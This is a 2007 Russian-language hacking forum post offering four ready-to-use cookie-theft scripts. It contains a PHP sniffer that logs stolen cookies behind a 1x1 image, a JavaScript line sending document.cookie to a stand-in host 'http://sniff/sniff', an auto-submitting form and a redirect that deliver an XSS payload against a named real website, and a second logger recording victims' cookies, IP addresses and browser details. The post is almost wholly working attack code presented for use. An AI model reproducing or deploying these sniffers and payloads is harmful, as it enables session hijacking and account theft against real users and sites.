10.11.2007, 20:03
|
|
Banned
Регистрация: 10.11.2006
Сообщений: 829
С нами:
10263663
Репутация:
1559
|
|
sniff1.php - Простейший пример снифера для cookie на PHP
sniff2.php - Самый простой пример отсылки cookie на снифер по адресу http://sniff/sniff
sniff3.php - Пример автоматической "переадресации" пользователя на страницу с посылкой POST параметров
sniff4.php - PHP скрипт редиректа на заXSSенную страничку
1.
PHP код:
<?
if(strlen($QUERY_STRING)<2)exit;
header("Content-Type: image/png");
$im=ImageCreate(1, 1);
ImagePNG($im);
imagedestroy($im);
$fp=fopen("sniff.txt", "a");
fputs($fp,$QUERY_STRING."\n\n");
fclose($fp);
?>
2.
PHP код:
<script language=JavaScript>
document.images[0].src="http://sniff/sniff?"+document.cookie
</script>
3.
PHP код:
<html> <body onload="s.submit();"> <form name=s action=http://soft.mail.ru method=POST> <input type=hidden name=words value='" style=background:url(javascript:alert(document.cookie)) "'> </form> </body> </html>
4.
PHP код:
<? header("Location: http://soft.mail.ru/search_result_header.php?qs=1&words=%22+style%3Dbackground%3Aurl%28javascript%3Aalert%28document.cookie%29%29+%22") ?>
PHP код:
<?php
if(isset($QUERY_STRING))
{
$date= date('d.m.y : H:i:s');
$fp = fopen("./slg.txt", "a");
fputs($fp,"Date and Tiime: $date\n IP: $REMOTE_ADDR\n Refer: $HTTP_REFER\n Cookie: $QUERY_STRING\n Agent: $HTTP_USER_AGENT\n Host: $HTTP_HOST Server: $SERVER_PORT Script: $SCRIPT_NAME\n Method: $REQUEST_METHOD\n ");
fclose($fp);
}
?>
Последний раз редактировалось ~!DoK_tOR!~; 10.11.2007 в 20:07..
|
|
|